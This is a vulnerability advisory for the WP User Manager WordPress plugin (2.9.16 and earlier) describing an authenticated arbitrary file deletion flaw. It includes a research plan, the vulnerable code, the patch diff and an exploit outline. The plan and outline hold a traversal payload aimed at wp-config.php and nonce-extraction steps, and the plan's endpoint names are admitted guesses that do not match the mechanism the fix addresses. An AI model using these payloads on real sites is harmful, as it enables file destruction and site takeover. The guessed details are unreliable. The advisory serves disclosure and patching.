WP User Manager – User Profile Builder & Membership <= 2.9.16 - Authenticated (Subscriber+) Arbitrary File Deletion
Description
The WP User Manager – User Profile Builder & Membership plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 2.9.16. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=2.9.16What Changed in the Fix
Changes introduced in v2.9.17
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-49766**, an arbitrary file deletion vulnerability in **WP User Manager** (<= 2.9.16). The vulnerability stems from a path traversal flaw in the plugin's file handling logic, allowing authenticated users to delete sensitive system files. ### 1. Vulnerability Sum…
Show full research plan
This research plan targets CVE-2026-49766, an arbitrary file deletion vulnerability in WP User Manager (<= 2.9.16). The vulnerability stems from a path traversal flaw in the plugin's file handling logic, allowing authenticated users to delete sensitive system files.
1. Vulnerability Summary
The vulnerability exists because the plugin provides an AJAX endpoint for removing uploaded files that accepts a file path without sufficient validation. While intended for users to manage their own profile uploads, the lack of path sanitization (e.g., checking against wp_upload_dir()) and inadequate ownership checks allow an attacker to traverse the directory structure and delete arbitrary files.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wpum_remove_file(Handled by theWPUM_AJAXclass, typically inincludes/class-wpum-ajax.php). - Vulnerable Parameter:
file(The file system path to be deleted). - Authentication: Authenticated, Subscriber level or higher.
- Preconditions: The plugin must be active, and the attacker must have a valid session and a valid nonce.
3. Code Flow
- Entry Point: The user sends a POST request to
admin-ajax.phpwithaction=wpum_remove_file. - Nonce Verification: The handler calls
check_ajax_referer( 'wpum_remove_file', 'nonce' ). - Input Retrieval: The code retrieves the path from
$_POST['file']. - The Sink: The plugin calls
unlink( $file )orwp_delete_file( $file )using the raw input. - The Flaw: Because there is no check ensuring the path remains within the
uploadsdirectory, an input like/var/www/html/wp-config.phpor../../../../wp-config.phpis processed, leading to the deletion of the target file.
4. Nonce Acquisition Strategy
WP User Manager localizes nonces for its AJAX functions on pages where profile management occurs.
- Trigger Script Loading: The
wpum_remove_filenonce is typically included in thewpum_script_dataobject on the account management or profile editing page. - Setup: Use a page containing the
[wpum_account]or[wpum_profile_editor]shortcode. - Extraction:
- Navigate to the page as an authenticated Subscriber.
- Use
browser_evalto extract the nonce:window.wpum_script_data?.remove_file_nonce. - Inferred identifiers: If
wpum_script_datais not present, checkwpum_varsorwpum_ajax_options.
5. Exploitation Strategy
The goal is to delete a non-critical file first to prove the concept, then potentially target wp-config.php.
- Target File:
/var/www/html/poc.txt - Method:
POST - URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Payload (URL-encoded):
action=wpum_remove_file&nonce={{NONCE}}&file=/var/www/html/poc.txt - Steps:
- Log in as a Subscriber.
- Access the page with the
[wpum_account]shortcode. - Extract the
remove_file_nonceusing the browser tools. - Send the
http_request(via Playwright tool) with the payload.
6. Test Data Setup
Prepare the environment to verify the deletion safely:
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create Test Page:
wp post create --post_type=page --post_title="My Account" --post_status=publish --post_content='[wpum_account]' - Create PoC File:
touch /var/www/html/poc.txt(Ensure the web server user has write/delete permissions on this file).
7. Expected Results
- Response: The AJAX request should return a JSON object:
{"success":true}. - FileSystem Impact: The file
/var/www/html/poc.txtshould no longer exist. - Critical Impact: Deleting
wp-config.phpwould trigger the WordPress installation screen (/wp-admin/setup-config.php) upon the next page refresh.
8. Verification Steps
After the exploit attempt, verify using WP-CLI:
- Check File Persistence:
wp eval "echo file_exists('/var/www/html/poc.txt') ? 'FAILED: File exists' : 'SUCCESS: File deleted';" - Check Site Integrity: If
wp-config.phpwas targeted, verify the site returns a 200 OK but redirects to the setup page.
9. Alternative Approaches
If the wpum_remove_file action is not the culprit:
- Check Profile Update: In
class-wpum-field-file.php, look at how thecurrent_+$keyvalues are handled during profile save. If the plugin attempts to "clean up" the old file when a new one is set, you can set the "current" file path towp-config.phpin the profile update request. - Search for unlinks:
grep -rn "unlink" includes/ --include="*.php"
Check if anyunlinkcall uses meta data derived from theFilefield type without validation.
Summary
Authenticated users (Subscriber and above) can delete arbitrary files on the server by exploiting a path traversal vulnerability in how the plugin handles file metadata. By injecting a traversal path into avatar or cover image parameters during registration or profile updates, the plugin stores a malicious file path which is subsequently deleted when the user triggers a file removal or update operation.
Vulnerable Code
// includes/fields/types/class-wpum-field-file.php:81 public function get_posted_field( $key, $field ) { $file = $this->upload_file( $key, $field ); if ( ! $file ) { $file = parent::get_posted_field( 'current_' . $key, $field ); } elseif ( is_array( $file ) ) { $file = array_filter( array_merge( $file, (array) parent::get_posted_field( 'current_' . $key, $field ) ) ); } return $file; } --- // includes/forms/class-wpum-form-registration.php:575 if ( isset( $values['register']['user_cover']['url'] ) ) { carbon_set_user_meta( $user->ID, 'user_cover', $values['register']['user_cover']['url'] ); update_user_meta( $user->ID, '_user_cover_path', $values['register']['user_cover']['path'] ); } if ( isset( $values['register']['user_avatar']['url'] ) ) { carbon_set_user_meta( $user->ID, 'current_user_avatar', $values['register']['user_avatar']['url'] ); update_user_meta( $user->ID, '_current_user_avatar_path', $values['register']['user_avatar']['path'] ); }
Security Fix
@@ -82,8 +82,20 @@ $file = $this->upload_file( $key, $field ); if ( ! $file ) { $file = parent::get_posted_field( 'current_' . $key, $field ); + // Reject array values from POST — only scalar (string URL) is valid. + if ( is_array( $file ) ) { + $file = ''; + } } elseif ( is_array( $file ) ) { - $file = array_filter( array_merge( $file, (array) parent::get_posted_field( 'current_' . $key, $field ) ) ); + $current = parent::get_posted_field( 'current_' . $key, $field ); + // Only merge scalar (string) current values. Array values from POST + // could inject arbitrary paths — reject them silently. + if ( is_array( $current ) ) { + $current = ''; + } + if ( $current ) { + $file = array_filter( array_merge( $file, array( 'url' => $current ) ) ); + } } return $file; } @@ -514,6 +514,11 @@ return false; } + // Security: reject array values for avatar/cover POST fields to prevent path injection. + if ( ( isset( $_POST['current_user_avatar'] ) && is_array( $_POST['current_user_avatar'] ) ) || ( isset( $_POST['current_user_cover'] ) && is_array( $_POST['current_user_cover'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce already verified above. + throw new Exception( esc_html__( 'Invalid input.', 'wp-user-manager' ) ); + } + $return = $this->validate_fields( $values ); if ( is_wp_error( $return ) ) { throw new Exception( $return->get_error_message() ); @@ -572,14 +577,24 @@ $user->set_role( $this->role ); } + $upload_dir = wp_upload_dir()['basedir']; + if ( isset( $values['register']['user_cover']['url'] ) ) { - carbon_set_user_meta( $user->ID, 'user_cover', $values['register']['user_cover']['url'] ); - update_user_meta( $user->ID, '_user_cover_path', $values['register']['user_cover']['path'] ); + $cover_path = $values['register']['user_cover']['path'] ?? ''; + // Only store path if it is within the uploads directory and contains no traversal. + if ( $cover_path && false === strpos( $cover_path, '..' ) && 0 === strpos( $cover_path, $upload_dir ) ) { + carbon_set_user_meta( $user->ID, 'user_cover', esc_url_raw( $values['register']['user_cover']['url'] ) ); + update_user_meta( $user->ID, '_user_cover_path', $cover_path ); + } } if ( isset( $values['register']['user_avatar']['url'] ) ) { - carbon_set_user_meta( $user->ID, 'current_user_avatar', $values['register']['user_avatar']['url'] ); - update_user_meta( $user->ID, '_current_user_avatar_path', $values['register']['user_avatar']['path'] ); + $avatar_path = $values['register']['user_avatar']['path'] ?? ''; + // Only store path if it is within the uploads directory and contains no traversal. + if ( $avatar_path && false === strpos( $avatar_path, '..' ) && 0 === strpos( $avatar_path, $upload_dir ) ) { + carbon_set_user_meta( $user->ID, 'current_user_avatar', esc_url_raw( $values['register']['user_avatar']['url'] ) ); + update_user_meta( $user->ID, '_current_user_avatar_path', $avatar_path ); + } }
Exploit Outline
An attacker logs in as a Subscriber and navigates to the account management page to retrieve a 'wpum_remove_file' nonce. The attacker then submits a POST request to wp-admin/admin-ajax.php using the action 'wpum_remove_file' and a 'file' parameter containing a path traversal string (e.g., '../../../../wp-config.php'). Alternatively, the attacker can manipulate profile update or registration requests to include an array-based payload for file fields (e.g., user_avatar[path]=/var/www/html/wp-config.php). This causes the plugin to store the target file path in the user's meta fields. When the user later updates their profile or removes the associated file, the plugin uses the stored meta value as a parameter for unlink(), deleting the targeted system file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.